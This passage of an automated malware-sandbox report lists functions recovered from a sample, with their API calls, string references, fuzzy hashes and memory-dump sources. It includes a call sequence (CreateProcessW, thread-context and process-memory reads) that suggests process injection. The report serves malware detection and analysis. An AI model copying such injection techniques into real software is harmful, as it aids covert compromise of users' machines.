Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
Instruction ID: 67706956afbd6358d3d43c670b221cf8614eda5fc495c227767f6dd3a3fe2fd5
Opcode Fuzzy Hash: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
Instruction Fuzzy Hash: 1D514CB1904219AFDF249F68DC81A9EBBB9FF48300F10449EF249E3281DB715A90CF59

Function 0082470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 008247A0
__flush.LIBCMT ref: 008247C0
__write.LIBCMT ref: 008247F3
__flsbuf.LIBCMT ref: 00824821

Part of subcall function 00828B28: __getptd_noexit.LIBCMT ref: 00828B28

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction ID: 1416a75f5b83d65f4dedffecb7718a5220573ef89e456647f67f205a76741e28
Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction Fuzzy Hash: 9A41D374B1076A9FDB18CF69E8809AE7BA5FF45364B24913DE825C7640DB70DDC08B60

Function 008044A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 008044CF

Part of subcall function 0080407C: _memset.LIBCMT ref: 008040FC
Part of subcall function 0080407C: _wcscpy.LIBCMT ref: 00804150
Part of subcall function 0080407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00804160

KillTimer.USER32(?,00000001,?,?), ref: 00804524
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00804533
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0083D4B9

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: a37db88c5b32e6d7b928a869d4dd100d0e1bad04f639c77779a7d86264363118
Instruction ID: a3469038d53c9d457232e0b4aa49f43c911167095b367f06680fec7883d5107f
Opcode Fuzzy Hash: a37db88c5b32e6d7b928a869d4dd100d0e1bad04f639c77779a7d86264363118
Instruction Fuzzy Hash: E721F5B1944784AFE7729B249C45BE6BBECFF41308F04009DE79AD6182C3742984CB85

Function 00807285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0083EA39
GetOpenFileNameW.COMDLG32(?), ref: 0083EA83

Part of subcall function 00804750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00804743,?,?,008037AE,?), ref: 00804770

Part of subcall function 00820791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 008207B0

Strings

X, xrefs: 0083EA51

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 36f20db14e3a04b7e8c080f62f8f8a001dfc9dc7a5808455f8c5e7a973f5ada1
Instruction ID: 824ec198d9ffe63a07345697d29176dee1f30d15f1b63435fe5a0f03686f0f08
Opcode Fuzzy Hash: 36f20db14e3a04b7e8c080f62f8f8a001dfc9dc7a5808455f8c5e7a973f5ada1
Instruction Fuzzy Hash: F2216F71A102589BDB419B98DC45AEE7BF8FF49714F004059E508E7281DBB459898FA2

Function 00868D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00868DAC
__fread_nolock.LIBCMT ref: 00868DC1

Strings

EA06, xrefs: 00868DF3

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 7cd9bb6f3a281355932e1c74bfb01ef743bec90585fae4440d62f7ef49da8270
Instruction ID: b7b6c646c0e9c3387c970457b1c2a459f0e4598795a2b0351ca22ad9840865e9
Opcode Fuzzy Hash: 7cd9bb6f3a281355932e1c74bfb01ef743bec90585fae4440d62f7ef49da8270
Instruction Fuzzy Hash: B501F971804228BEDB18CAA8D816EFE7BFCEB11301F00419AF556D2281E874E6048B60

Function 008698E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 008698F8
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 0086990F

Strings

aut, xrefs: 00869909

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 1e956e11c3998c96863e1478e3dfe7441573f0d9bf8a0e5505b18642736b5e12
Instruction ID: f79048711561f1d86fa26ff34e76647ccc4d5830344642d522e377396cc4bb52
Opcode Fuzzy Hash: 1e956e11c3998c96863e1478e3dfe7441573f0d9bf8a0e5505b18642736b5e12
Instruction Fuzzy Hash: B8D05E7958030DABDB509BA4DC0EFDA7B3CF704700F0002B1BB54D11A2EAB095988B91

Function 0087CADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 762aae101467452074087507ea43e0facee8e22cce962d61faddd5c7425bf1fd
Instruction ID: 23ecbf04916ae2cf029c940b67f598817c80a2d922d04ea000e7108e1fd9be25
Opcode Fuzzy Hash: 762aae101467452074087507ea43e0facee8e22cce962d61faddd5c7425bf1fd
Instruction Fuzzy Hash: E2F118716083059FCB14DF28C884A6ABBE5FF89314F54892EF899DB252D770E945CF82

Function 0080434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00804370
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00804415
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00804432

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 8869aad26d66fbe5fe09117e1efb9a68eb4fbf8b52cc0972a0ad1453f5f1cf60
Instruction ID: 1b39e270ce9322e0d454ff22941ebd7f2c68809bb675220b37fd14ad72546eb9
Opcode Fuzzy Hash: 8869aad26d66fbe5fe09117e1efb9a68eb4fbf8b52cc0972a0ad1453f5f1cf60
Instruction Fuzzy Hash: F43193B05057018FD760DF24DC84A9BBBF8FB58308F00192EE69AC2291D771B984CB96

Function 0082571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00825733

Part of subcall function 0082A16B: __NMSG_WRITE.LIBCMT ref: 0082A192
Part of subcall function 0082A16B: __NMSG_WRITE.LIBCMT ref: 0082A19C

__NMSG_WRITE.LIBCMT ref: 0082573A

Part of subcall function 0082A1C8: GetModuleFileNameW.KERNEL32(00000000,008C33BA,00000104,?,00000001,00000000), ref: 0082A25A
Part of subcall function 0082A1C8: ___crtMessageBoxW.LIBCMT ref: 0082A308

Part of subcall function 0082309F: ___crtCorExitProcess.LIBCMT ref: 008230A5
Part of subcall function 0082309F: ExitProcess.KERNEL32 ref: 008230AE

Part of subcall function 00828B28: __getptd_noexit.LIBCMT ref: 00828B28

RtlAllocateHeap.NTDLL(00E10000,00000000,00000001,00000000,?,?,?,00820DD3,?), ref: 0082575F

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: b9683e9ab48ebc1889450a4f8785345b58f10b61de0cf3bdc92f8c706f4de5ba
Instruction ID: 53330f4711c5cca4d9bf97f6a87d80ab13efcd13b663173200103200e6dd1274
Opcode Fuzzy Hash: b9683e9ab48ebc1889450a4f8785345b58f10b61de0cf3bdc92f8c706f4de5ba
Instruction Fuzzy Hash: A901DE352C0B31DEEA11273CBC96A2A7398FF82772F50042AF905DA282DE7089C14662

Function 008698A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00869548,?,?,?,?,?,00000004), ref: 008698BB
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00869548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 008698D1
CloseHandle.KERNEL32(00000000,?,00869548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 008698D8

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 47802a5e08dc84e316202db912a9db62bf39682c130fc8ec359e805d6a2dad7c
Instruction ID: 216812fa413d0cffc01ad6bbd29fd0471697dbd72c11e9d021c0289312593fc7
Opcode Fuzzy Hash: 47802a5e08dc84e316202db912a9db62bf39682c130fc8ec359e805d6a2dad7c
Instruction Fuzzy Hash: 5EE08632140214B7D7222B58EC0DFDA7B19FB06760F104120FB54A90E187B115219798

Function 00868D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00868D1B

Part of subcall function 00822D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00829A24), ref: 00822D69
Part of subcall function 00822D55: GetLastError.KERNEL32(00000000,?,00829A24), ref: 00822D7B

_free.LIBCMT ref: 00868D2C
_free.LIBCMT ref: 00868D3E

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
Instruction ID: 9ab6a39feaf037924826457b79e233bf944a6a16dc623bb22b59b69be66e2b0c
Opcode Fuzzy Hash: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
Instruction Fuzzy Hash: 8BE012B160261597DB24A57CB941A9313DCEF5C3527150A1DB50DD7186CE64F8928174

Function 0080A9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 0083FC01

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 78960515bc7ab0fc7cb8f7e1e5afe24d572f01a5a39ceaca9fcf3b64347105b0
Instruction ID: 4c5eff920df935d5ec0d0443489168535852499534442f4637d262277a8d29d7
Opcode Fuzzy Hash: 78960515bc7ab0fc7cb8f7e1e5afe24d572f01a5a39ceaca9fcf3b64347105b0
Instruction Fuzzy Hash: 8E225774508305DFD768DF18C890A6ABBE1FF84314F15896DE98ACB2A2D731EC45CB82

Function 00804C70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00804CBA

Strings

EA06, xrefs: 0083D8CC

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: df85cbfca70441708c48d07466d7df0e9927f17fe3d5c71cf4e3a703be09fc3c
Instruction ID: 64ed0c77967976b4892d97c2404113b8cb7b4e23a92ab6322e3be294c7b7ba68
Opcode Fuzzy Hash: df85cbfca70441708c48d07466d7df0e9927f17fe3d5c71cf4e3a703be09fc3c
Instruction Fuzzy Hash: 0F419CE1A8025C6BDF618B58CC517BE7FA1FF42304F286474EE82DB2C2D6349D4083A2

Function 00807A51 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00807AAB
_memmove.LIBCMT ref: 00807B16

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 75b3ef76dc9c1d7680ff1126038a0b5bca49f3ec50bdc15de679bd26e1e87542
Instruction ID: eac355a649b24a1642e174c4ae91b0f1d4daa5d353f2b9d52a0ace3f6d0e1a7f
Opcode Fuzzy Hash: 75b3ef76dc9c1d7680ff1126038a0b5bca49f3ec50bdc15de679bd26e1e87542
Instruction Fuzzy Hash: D631A4B1B04616AFC744DF68DCD1E69B3A9FF483207158629E519CB2D1EB30F960CB90

Function 00820DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0082571C: __FF_MSGBANNER.LIBCMT ref: 00825733
Part of subcall function 0082571C: __NMSG_WRITE.LIBCMT ref: 0082573A
Part of subcall function 0082571C: RtlAllocateHeap.NTDLL(00E10000,00000000,00000001,00000000,?,?,?,00820DD3,?), ref: 0082575F

std::exception::exception.LIBCMT ref: 00820DEC
__CxxThrowException@8.LIBCMT ref: 00820E01

Part of subcall function 0082859B: RaiseException.KERNEL32(?,?,?,008B9E78,00000000,?,?,?,?,00820E06,?,008B9E78,?,00000001), ref: 008285F0

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 1b607fd16fde25591e0678b5caed53cbb7bb558a13eaa2a3ed4f7ff1b6de3329
Instruction ID: 4136f12895760623cf0f01088c66b8fe1d4f6e2d473f14b9b6170a6083cb2ddd
Opcode Fuzzy Hash: 1b607fd16fde25591e0678b5caed53cbb7bb558a13eaa2a3ed4f7ff1b6de3329
Instruction Fuzzy Hash: 2CF0813550222DA6CF10BAA8FC159DEBBA8FF01351F144566F904E6282DFB09AC49AD6

Function 008255FD Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0082562C
__lock_file.LIBCMT ref: 0082564D

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: d8e51220039271e28a31830b12300b600ed264e50c91e3a89fcf853e1cc88185
Instruction ID: 2f587354009fd6a86597dd8775a7d9b8eb21875c83af06fa72df5da6b6973483
Opcode Fuzzy Hash: d8e51220039271e28a31830b12300b600ed264e50c91e3a89fcf853e1cc88185
Instruction Fuzzy Hash: 5E01D471841A28EBCF22AF6CFC0249E7B61FF60321F404115B824DA291DB318AD1DF92

Function 008253A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00828B28: __getptd_noexit.LIBCMT ref: 00828B28

__lock_file.LIBCMT ref: 008253EB

Part of subcall function 00826C11: __lock.LIBCMT ref: 00826C34

__fclose_nolock.LIBCMT ref: 008253F6

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 3bf0983281281d552c35199543c9fff8153c642634289b77d306591568f5cfcb
Instruction ID: 301afc50ae58fe0f4ea7fd90ebb5f5660d0cbab0d1be4bad3c2f68e1c7272ab4
Opcode Fuzzy Hash: 3bf0983281281d552c35199543c9fff8153c642634289b77d306591568f5cfcb
Instruction Fuzzy Hash: C3F09671842A24DADB10BB69B8057AD6AE0FF42374F209149E424EB2C1CBBC49C15B53

Function 00E53F2D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00E5475D
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00E54781
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00E547A3

Memory Dump Source

Source File: 00000005.00000002.1333401749.0000000000E52000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E52000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_e52000_JWPRnfqs3n.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
Instruction ID: b88c320ac080f45794da82d089d94af8a48289e58bf50ce95b62ba257f71d45d
Opcode Fuzzy Hash: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
Instruction Fuzzy Hash: D912FF24E14658C6EB24DF60D8507DEB232EF68300F10A4E9910DEB7A5E77A4F85CF5A

Function 00820C08 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00820CB7

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 537056d3ac10abb3d3186e3b3e5fd98cf57d0ce1dc88f04c4f4573ea4c3c194f
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 3131B2B0A001199BC718DF58E484A69FBA6FB59304B6487A5E80ACB356D731EEC1DFC0

Function 0083FCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON

